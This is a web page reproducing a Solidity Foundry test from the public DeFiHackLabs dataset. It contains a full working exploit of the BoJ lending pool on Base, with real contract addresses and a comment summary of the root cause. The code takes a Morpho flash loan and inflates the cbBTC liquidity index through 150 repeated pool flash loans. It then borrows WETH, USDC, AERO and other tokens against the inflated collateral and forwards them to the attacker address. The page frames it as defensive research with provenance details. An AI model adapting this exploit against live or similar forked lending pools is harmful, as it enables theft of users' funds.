Public reproduction file
src/test/2025-07/BoJLeverageMarket_exp.sol
Public reproduction file for dataset entry BoJLeverageMarket.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 7,227.59 USD8// Attacker : 0xdf4089d9845C87ed8FD109bD724f30339C2d0B7B9// Attack Contract : 0x1B7cDeE38912c679C9E496e8035B4bd1a5D3aEE010// Vulnerable Contract : 0x0B326E95e6EA0b50284b3e44b750fda4b4364E8211// Attack Tx : https://basescan.org/tx/0x591567aed3ef606b3ad41f1ee6dfb1e9589aeff52d17c6c2c6f8dbdb8d238afd12//13// @Info14// Vulnerable Contract Code : https://basescan.org/address/0xF441a52fc1898feBb78FBa81eeD3002cBB45d571#code15//16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/152118//19// Attack summary: The attacker used cbBTC flash liquidity to create a near-empty BoJ cbBTC reserve, repeatedly20// accumulated flash-loan fees into the reserve index, then borrowed multiple listed assets against the inflated cbBTC21// collateral value.22// Root cause: The Aave-v3-derived pool allowed flash-loan fee accumulation to inflate the liquidity index while the23// cbBTC aToken scaled supply was only dust.25address constant ATTACKER = 0xdf4089d9845C87ed8FD109bD724f30339C2d0B7B;26address constant TRACE_ATTACK_CONTRACT = 0x1B7cDeE38912c679C9E496e8035B4bd1a5D3aEE0;27address constant MORPHO = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;28address constant BOJ_POOL = 0x0B326E95e6EA0b50284b3e44b750fda4b4364E82;29address constant BOJ_POOL_IMPL = 0xF441a52fc1898feBb78FBa81eeD3002cBB45d571;30address constant BOJ_CBBTC_ATOKEN = 0x51C4547A7b1739f6b226b24AcC33D8F6F7596cbB;32IERC20 constant CBBTC = IERC20(0xcbB7C0000aB88B473b1f5aFd9ef808440eed33Bf);33IERC20 constant WETH_TOKEN = IERC20(0x4200000000000000000000000000000000000006);34IERC20 constant USDC_TOKEN = IERC20(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);35IERC20 constant AERO_TOKEN = IERC20(0x940181a94A35A4569E4529A3CDfB74e38FD98631);36IERC20 constant MORPHO_TOKEN = IERC20(0xBAa5CC21fd487B8Fcc2F632f3F4E8D37262a0842);37IERC20 constant DEGEN_TOKEN = IERC20(0x4ed4E862860beD51a9570b96d89aF5E1B0Efefed);38IERC20 constant VIRTUAL_TOKEN = IERC20(0x0b3e328455c4059EEb9e3f84b5543F74E24e7E1b);40interface IBoJPool {41 function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;42 function withdraw(address asset, uint256 amount, address to) external returns (uint256);43 function flashLoan(44 address receiverAddress,45 address[] calldata assets,46 uint256[] calldata amounts,47 uint256[] calldata interestRateModes,48 address onBehalfOf,49 bytes calldata params,50 uint16 referralCode51 ) external;52 function borrow(address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf)53 external;54 function getReserveNormalizedIncome(address asset) external view returns (uint256);55}57contract ContractTest is BaseTestWithBalanceLog {58 function setUp() public {59 uint256 forkBlock = 33_136_655;60 vm.createSelectFork("base", forkBlock);62 multiAssetLog = true;63 attacker = ATTACKER;64 _addFundingToken(address(WETH_TOKEN));65 _addFundingToken(address(USDC_TOKEN));66 _addFundingToken(address(AERO_TOKEN));68 vm.label(ATTACKER, "Attacker");69 vm.label(TRACE_ATTACK_CONTRACT, "Trace Attack Contract");70 vm.label(MORPHO, "Morpho Blue");71 vm.label(BOJ_POOL, "BoJ Pool Proxy");72 vm.label(BOJ_POOL_IMPL, "BoJ Pool Implementation");73 vm.label(BOJ_CBBTC_ATOKEN, "BoJ cbBTC aToken");74 vm.label(address(CBBTC), "cbBTC");75 vm.label(address(AERO_TOKEN), "AERO");76 }78 function testExploit() public balanceLog {79 uint256 aTokenSupplyBefore = IScaledBalanceTokenLite(BOJ_CBBTC_ATOKEN).scaledTotalSupply();80 uint256 indexBefore = IBoJPool(BOJ_POOL).getReserveNormalizedIncome(address(CBBTC));81 uint256 aeroBefore = AERO_TOKEN.balanceOf(ATTACKER);83 assertEq(aTokenSupplyBefore, 0, "cbBTC reserve starts with zero scaled supply");84 assertEq(indexBefore, 1e27, "cbBTC reserve starts at base liquidity index");86 BoJAttack attack = new BoJAttack();87 vm.label(address(attack), "Local Attack Contract");88 attack.execute();90 assertGt(IBoJPool(BOJ_POOL).getReserveNormalizedIncome(address(CBBTC)), indexBefore, "index inflated");91 assertEq(AERO_TOKEN.balanceOf(ATTACKER) - aeroBefore, 3_206_293_935_581_265_143_878, "AERO profit");92 }93}95contract BoJAttack {96 IBoJPool private constant pool = IBoJPool(BOJ_POOL);97 IMorphoBuleFlashLoan private constant morpho = IMorphoBuleFlashLoan(MORPHO);99 function execute() external {100 morpho.flashLoan(address(CBBTC), 10_537_110_432, "");101 }103 function onMorphoFlashLoan(uint256 assets, bytes calldata) external {104 require(msg.sender == MORPHO, "only Morpho");106 CBBTC.approve(BOJ_POOL, type(uint256).max);108 // step 1: create one unit of scaled cbBTC supply in the BoJ reserve.109 pool.deposit(address(CBBTC), 100, address(this), 0);110 pool.withdraw(address(CBBTC), 99, address(this));112 // step 2: donate cbBTC and repeatedly flash-loan it to compound fees into the liquidity index.113 CBBTC.transfer(BOJ_CBBTC_ATOKEN, 7_024_740_288);114 for (uint256 i = 0; i < 150; i++) {115 _bojFlashLoan(7_024_740_288);116 }118 // step 3: borrow all trace profit assets against the inflated cbBTC collateral value.119 _borrowAndForward(WETH_TOKEN, 521_472_358_420_158);120 _borrowAndForward(USDC_TOKEN, 1_267_769_327);121 _borrowAndForward(AERO_TOKEN, 3_206_293_935_581_265_143_878);122 _borrowAndForward(MORPHO_TOKEN, 232_423_631_596_475_387_317);123 _borrowAndForward(DEGEN_TOKEN, 109_893_180_044_731_784_967_907);124 _borrowAndForward(VIRTUAL_TOKEN, 1_112_544_981_282_161_707_685);126 // step 4: use a fresh helper to unwind enough inflated cbBTC collateral to repay Morpho.127 BoJRecoveryHelper helper = new BoJRecoveryHelper();128 CBBTC.approve(address(helper), type(uint256).max);129 helper.recover();131 CBBTC.approve(MORPHO, assets);132 }134 function executeOperation(135 address[] calldata assets,136 uint256[] calldata amounts,137 uint256[] calldata premiums,138 address,139 bytes calldata140 ) external returns (bool) {141 require(msg.sender == BOJ_POOL, "only BoJ pool");142 CBBTC.approve(BOJ_POOL, amounts[0] + premiums[0]);143 assets;144 return true;145 }147 function _bojFlashLoan(uint256 amount) private {148 address[] memory assets = new address[](1);149 uint256[] memory amounts = new uint256[](1);150 uint256[] memory modes = new uint256[](1);151 assets[0] = address(CBBTC);152 amounts[0] = amount;153 pool.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);154 }156 function _borrowAndForward(IERC20 token, uint256 amount) private {157 pool.borrow(address(token), amount, 2, 0, address(this));158 token.transfer(ATTACKER, amount);159 }160}162contract BoJRecoveryHelper {163 function recover() external {164 CBBTC.transferFrom(msg.sender, address(this), 1_053_289_502);165 CBBTC.approve(BOJ_POOL, type(uint256).max);167 poolDeposit(1_053_289_502);168 poolWithdraw(789_967_125);170 for (uint256 i = 0; i < 29; i++) {171 poolDeposit(526_644_751);172 poolWithdraw(789_967_125);173 }175 poolDeposit(526_644_751);176 poolWithdraw(705_214_071);178 CBBTC.transfer(msg.sender, CBBTC.balanceOf(address(this)));179 }181 function poolDeposit(uint256 amount) private {182 IBoJPool(BOJ_POOL).deposit(address(CBBTC), amount, address(this), 0);183 }185 function poolWithdraw(uint256 amount) private {186 IBoJPool(BOJ_POOL).withdraw(address(CBBTC), amount, address(this));187 }188}190interface IScaledBalanceTokenLite {191 function scaledTotalSupply() external view returns (uint256);192}Analysis
Dataset entry
Public Foundry test for “BoJLeverageMarket” (2025-07-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-07/ActivePoolScrvUsdUrgentRedemption_exp.solSame month in the dataset · 200 lines
- src/test/2025-07/ActivePoolUrgentRedemption_exp.solSame month in the dataset · 194 lines
- src/test/2025-07/AnyswapWETHPermit_exp.solSame month in the dataset · 127 lines
- src/test/2025-07/AvaxBIFKNPair_exp.solSame month in the dataset · 213 lines
- src/test/2025-07/EmptySetReserve_exp.solSame month in the dataset · 196 lines
- src/test/2025-07/FPC_exp.solSame month in the dataset · 83 lines
- src/test/2025-07/gmx_exp.solSame month in the dataset · 427 lines
- src/test/2025-07/MulticallWithETH_exp.solSame month in the dataset · 52 lines
- src/test/2025-07/RANTToken_exp.solSame month in the dataset · 108 lines
- src/test/2025-07/Stepp2p_exp.solSame month in the dataset · 59 lines
- src/test/2025-07/StrategyLlamaLendConvex_exp.solSame month in the dataset · 104 lines
- src/test/2025-07/SuperRare_exp.solSame month in the dataset · 80 lines
- src/test/2025-07/SWAPPStaking_exp.solSame month in the dataset · 197 lines
- src/test/2025-07/unverified_8fd3_exp.solSame month in the dataset · 105 lines
- src/test/2025-07/unverified_54cd_exp.solSame month in the dataset · 77 lines
- src/test/2025-07/Unverified670471_exp.solSame month in the dataset · 160 lines
- src/test/2025-07/Unverified6883_exp.solSame month in the dataset · 224 lines
- src/test/2025-07/UPENGBurnSync_exp.solSame month in the dataset · 115 lines
- src/test/2025-07/VDS_exp.solSame month in the dataset · 82 lines
- src/test/2025-07/WETC_Token_exp.solSame month in the dataset · 78 lines
- src/test/2025-07/WhereIsMyDragonTreasure_exp.solSame month in the dataset · 137 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xdf4089d9845c87ed8fd109bd724f30339c2d0b7b
- Attack Contract
0x1b7cdee38912c679c9e496e8035b4bd1a5d3aee0
- Vulnerable Contract
0x0b326e95e6ea0b50284b3e44b750fda4b4364e82
- Vulnerable Contract
0xf441a52fc1898febb78fba81eed3002cbb45d571
- Attack Tx
0x591567aed3ef606b3ad41f1ee6dfb1e9589aeff52d17c6c2c6f8dbdb8d238afd
File record
- Name
- BoJLeverageMarket
- Path
- src/test/2025-07/BoJLeverageMarket_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 698ea3fc644c5f383b9a2db2a0a6e2c8fa266b05
- Language
- Solidity
- Size
- 193 lines
- Date
- 2025-07-21
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-07/BoJLeverageMarket_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 698ea3fc644c5f383b9a2db2a0a6e2c8fa266b05, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.